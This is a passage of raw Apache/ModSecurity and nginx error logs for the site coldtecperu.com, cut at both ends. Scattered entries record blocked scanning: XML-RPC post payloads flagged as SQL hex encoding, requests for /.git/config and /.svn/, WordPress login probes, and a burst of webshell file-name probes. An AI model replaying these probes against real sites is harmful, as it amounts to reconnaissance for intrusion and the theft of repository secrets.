"aKe9SlzkZmeN3cyQydosNAAAAFI"] [Thu Aug 21 22:47:01.128460 2025] [:error] [pid 1955:tid 1961] [client 69.171.230.115:43396] [client 69.171.230.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKfoNX2V3p9J5T-rvaRIOgAAAMQ"] [Fri Aug 22 04:30:18.936793 2025] [:error] [pid 1955:tid 1971] [client 138.197.43.109:58116] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Aug 22 06:37:38.127854 2025] [:error] [pid 1138:tid 1173] [client 146.190.98.58:47190] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Aug 22 07:29:26.623318 2025] [:error] [pid 1135:tid 1145] [client 173.252.87.114:54032] [client 173.252.87.114] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKhipqbhiXkgw3GxEH1suAAAAAI"] [Fri Aug 22 14:57:55.149197 2025] [:error] [pid 1955:tid 1970] [client 51.21.247.205:57026] File does not exist: /home/coldtecp/public_html/wp-login.php [Fri Aug 22 21:05:10.201917 2025] [:error] [pid 5172:tid 5190] [client 69.171.230.6:38016] [client 69.171.230.6] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKkh1nfyhbljZK0jNjk49AAAANA"] [Sat Aug 23 02:00:46.649815 2025] [:error] [pid 11551:tid 11574] [client 146.190.98.58:46198] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Aug 23 03:11:25.064415 2025] [:error] [pid 11553:tid 11633] [client 111.92.121.81:47896] [client 111.92.121.81] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xba82fc61de found within XML: metaWeblog.newPost15179751797title0xba82fc61description0xba82fc61mt_keywords0xba82fc61mt_excerpt0xba82fc611"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aKl3rWNNROJkfkABAd-XJQAAAI0"] [Sat Aug 23 05:56:13.597103 2025] [:error] [pid 373:tid 383] [client 173.252.87.113:52382] [client 173.252.87.113] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKmeTV55IS-FS4MYocAQGwAAAMg"] [Sat Aug 23 19:48:01.790703 2025] [:error] [pid 32294:tid 32365] [client 69.171.230.112:33634] [client 69.171.230.112] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKphQQYmnXPXGCnmD-WPQgAAAI8"] [Sun Aug 24 04:35:40.057928 2025] [:error] [pid 28824:tid 28839] [client 173.252.83.4:44420] [client 173.252.83.4] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKrc7JTtoPUkVFPmcMQk2gAAAM0"] [Sun Aug 24 05:59:47.950476 2025] [:error] [pid 28541:tid 28549] [client 165.232.168.61:53348] File does not exist: /home/coldtecp/public_html/wp-login.php [Sun Aug 24 07:52:55.947519 2025] [:error] [pid 28824:tid 28827] [client 178.128.91.210:60718] File does not exist: /home/coldtecp/public_html/wp-login.php [Sun Aug 24 09:55:30.569026 2025] [:error] [pid 28824:tid 28849] [client 37.19.205.204:37738] [client 37.19.205.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xd2e8605bde found within XML: metaWeblog.newPost18810788107title0xd2e8605bdescription0xd2e8605bmt_keywords0xd2e8605bmt_excerpt0xd2e8605b1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aKsn4pTtoPUkVFPmcMQvNAAAANc"] [Sun Aug 24 10:57:42.819482 2025] [:error] [pid 28541:tid 28553] [client 178.17.57.107:40034] File does not exist: /home/coldtecp/public_html/archivarix.cms.php, referer: http://coldtecperu.com/archivarix.cms.php [Sun Aug 24 15:58:45.556818 2025] [:error] [pid 28542:tid 28602] [client 157.230.253.18:32910] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Aug 24 18:20:24.675984 2025] [:error] [pid 28541:tid 28566] [client 69.171.249.113:38570] [client 69.171.249.113] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKueOOTsyugimIUibye6-QAAABI"] [Mon Aug 25 03:01:29.045947 2025] [:error] [pid 28543:tid 28578] [client 69.171.230.16:42936] [client 69.171.230.16] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKwYWdzplkBrftjjWmMpywAAAII"] [Mon Aug 25 15:12:12.601164 2025] [:error] [pid 13957:tid 13969] [client 216.147.95.135:42198] [client 216.147.95.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aKzDnDPIWtyzrjZWpM71uwAAAMo"] [Mon Aug 25 17:00:23.698756 2025] [:error] [pid 13680:tid 13743] [client 173.252.83.6:54500] [client 173.252.83.6] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKzc9ygXzsg4bb-8zL67pAAAAIQ"] [Tue Aug 26 01:46:13.617559 2025] [:error] [pid 13679:tid 13717] [client 173.252.83.114:47878] [client 173.252.83.114] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aK1YNY_EU9EfLxeUKs-A6gAAAEQ"] 2025/08/26 12:17:07 [error] 12349#12349: *159261 access forbidden by rule, client: 185.238.1.231, server: coldtecperu.com, request: "GET /.svn/ HTTP/1.1", host: "coldtecperu.com" 2025/08/26 12:51:51 [error] 12348#12348: *160058 access forbidden by rule, client: 185.238.1.231, server: coldtecperu.com, request: "GET /.svn/ HTTP/1.1", host: "coldtecperu.com" [Tue Aug 26 15:11:48.506985 2025] [:error] [pid 12387:tid 12464] [client 173.252.83.5:39320] [client 173.252.83.5] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aK4VBGtIY7dJkKxgH8bg7wAAAJU"] [Wed Aug 27 02:48:34.828074 2025] [:error] [pid 12385:tid 12413] [client 152.56.129.238:54070] [client 152.56.129.238] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1bc46a7bde found within XML: metaWeblog.newPost18871388713title0x1bc46a7bdescription0x1bc46a7bmt_keywords0x1bc46a7bmt_excerpt0x1bc46a7b1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aK64UhhPo9RyO_yLosqKZwAAABg"] [Wed Aug 27 11:31:24.921238 2025] [:error] [pid 10228:tid 10235] [client 108.160.143.216:53236] File does not exist: /home/coldtecp/public_html/wp-login.php [Wed Aug 27 12:40:31.269465 2025] [:error] [pid 10228:tid 10246] [client 108.160.143.216:56498] File does not exist: /home/coldtecp/public_html/wp-login.php [Wed Aug 27 13:55:42.036898 2025] [:error] [pid 9879:tid 9959] [client 69.171.230.18:59244] [client 69.171.230.18] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aK9Urm4EU3BH0SqNj4UfGQAAAJc"] [Wed Aug 27 14:45:35.834481 2025] [:error] [pid 10228:tid 10250] [client 173.252.87.116:34422] [client 173.252.87.116] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aK9gX4MxrZ9uG6MvLHmSmAAAANQ"] [Wed Aug 27 14:45:36.083046 2025] [:error] [pid 9879:tid 9936] [client 173.252.87.112:34426] [client 173.252.87.112] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aK9gYG4EU3BH0SqNj4UgEwAAAIc"] [Wed Aug 27 16:42:07.803101 2025] [:error] [pid 9879:tid 9928] [client 156.59.26.115:42264] File does not exist: /home/coldtecp/public_html/wp-login.php [Thu Aug 28 02:41:31.462266 2025] [:error] [pid 9878:tid 9910] [client 202.182.110.203:42596] File does not exist: /home/coldtecp/public_html/wp-login.php [Thu Aug 28 12:31:35.906890 2025] [:error] [pid 741:tid 743] [client 69.171.230.15:59732] [client 69.171.230.15] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLCSd9Hx_I7u0RMmhXWDLAAAAMA"] [Thu Aug 28 17:21:03.044157 2025] [:error] [pid 15829:tid 15850] [client 103.129.212.224:35168] File does not exist: /home/coldtecp/public_html/wp-login.php [Thu Aug 28 18:39:37.821972 2025] [:error] [pid 540:tid 560] [client 178.128.112.225:41148] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Aug 29 03:17:17.449349 2025] [:error] [pid 15829:tid 15841] [client 177.3.167.57:34892] [client 177.3.167.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xb8f58290de found within XML: metaWeblog.newPost18453084530title0xb8f58290description0xb8f58290mt_keywords0xb8f58290mt_excerpt0xb8f582901"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aLFiDR1uMuNqWJCvLrLJ0AAAAQY"] [Fri Aug 29 12:35:02.479705 2025] [:error] [pid 15498:tid 15521] [client 69.63.189.12:54564] [client 69.63.189.12] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLHkxiI0mdDLTreW8DoXrgAAANU"] [Fri Aug 29 12:35:02.704296 2025] [:error] [pid 15278:tid 15314] [client 69.63.189.44:54566] [client 69.63.189.44] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLHkxnEYB1ftiLSy7FWc0gAAAIM"] [Fri Aug 29 20:12:40.527704 2025] [:error] [pid 15498:tid 15518] [client 69.63.189.9:47832] [client 69.63.189.9] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLJQCCI0mdDLTreW8Doz7AAAANI"] [Sun Aug 31 01:56:47.653088 2025] [:error] [pid 14326:tid 14335] [client 69.171.249.112:40866] [client 69.171.249.112] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLPyL4EmnnwMy7t7U6HtHgAAAAU"] [Sun Aug 31 01:56:48.008133 2025] [:error] [pid 14326:tid 14332] [client 69.171.249.116:40870] [client 69.171.249.116] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLPyMIEmnnwMy7t7U6HtIAAAAAI"] [Sun Aug 31 05:54:11.588778 2025] [:error] [pid 17391:tid 17402] [client 173.252.87.8:49770] [client 173.252.87.8] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLQp08K-ouCo1sB7ne8YaAAAAMU"] [Sun Aug 31 05:54:12.229196 2025] [:error] [pid 17391:tid 17411] [client 173.252.87.10:49772] [client 173.252.87.10] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLQp1MK-ouCo1sB7ne8YaQAAAM4"] [Sun Aug 31 09:10:20.008220 2025] [:error] [pid 17391:tid 17401] [client 202.47.38.191:57944] [client 202.47.38.191] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xb2f97956de found within XML: metaWeblog.newPost14695246952title0xb2f97956description0xb2f97956mt_keywords0xb2f97956mt_excerpt0xb2f979561"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aLRXzMK-ouCo1sB7ne8brwAAAMQ"] [Sun Aug 31 18:51:24.838515 2025] [:error] [pid 17391:tid 17417] [client 67.205.150.206:45714] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/08/31 20:45:19 [error] 16929#16929: *308780 access forbidden by rule, client: 103.138.192.155, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Mon Sep 01 21:19:36.653960 2025] [:error] [pid 16754:tid 16822] [client 67.205.150.206:33504] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Sep 02 04:06:25.804771 2025] [:error] [pid 22952:tid 23014] [client 173.252.87.5:46694] [client 173.252.87.5] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLazkV_o8NHDV_H49nxsdwAAAIU"] [Tue Sep 02 04:06:26.289674 2025] [:error] [pid 22952:tid 23013] [client 173.252.87.115:46696] [client 173.252.87.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLazkl_o8NHDV_H49nxseAAAAIQ"] [Tue Sep 02 04:34:25.441442 2025] [:error] [pid 23137:tid 23149] [client 173.252.107.9:47322] [client 173.252.107.9] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLa6IQYlxwhNmpeaWZ7qkgAAAMo"] [Tue Sep 02 04:34:25.884948 2025] [:error] [pid 22951:tid 22988] [client 173.252.107.2:47326] [client 173.252.107.2] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLa6IZZYRK-Fid7S3D3UaQAAAEU"] [Tue Sep 02 11:23:39.971387 2025] [:error] [pid 22951:tid 22990] [client 104.234.19.37:60668] File does not exist: /home/coldtecp/public_html/epinyins.php [Tue Sep 02 11:23:40.053914 2025] [:error] [pid 22951:tid 22983] [client 104.234.19.37:60670] File does not exist: /home/coldtecp/public_html/simple.php [Tue Sep 02 11:23:40.217793 2025] [:error] [pid 22951:tid 23005] [client 104.234.19.37:60672] File does not exist: /home/coldtecp/public_html/chosen.php [Tue Sep 02 11:23:40.363188 2025] [:error] [pid 22951:tid 22987] [client 104.234.19.37:60674] File does not exist: /home/coldtecp/public_html/file.php [Tue Sep 02 11:23:40.532751 2025] [:error] [pid 22952:tid 23009] [client 104.234.19.37:60676] File does not exist: /home/coldtecp/public_html/doiconvs.php [Tue Sep 02 11:23:40.658936 2025] [:error] [pid 22952:tid 23011] [client 104.234.19.37:60678] File does not exist: /home/coldtecp/public_html/moddofuns.php [Tue Sep 02 11:23:40.733651 2025] [:error] [pid 22951:tid 23000] [client 104.234.19.37:60680] File does not exist: /home/coldtecp/public_html/style.php [Wed Sep 03 00:03:29.803004 2025] [:error] [pid 31097:tid 31111] [client 67.205.150.206:44196] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Sep 03 15:25:28.032387 2025] [:error] [pid 3074:tid 3080] [client 129.227.238.228:57212] File does not exist: /home/coldtecp/public_html/wp-login.php [Wed Sep 03 15:29:58.232035 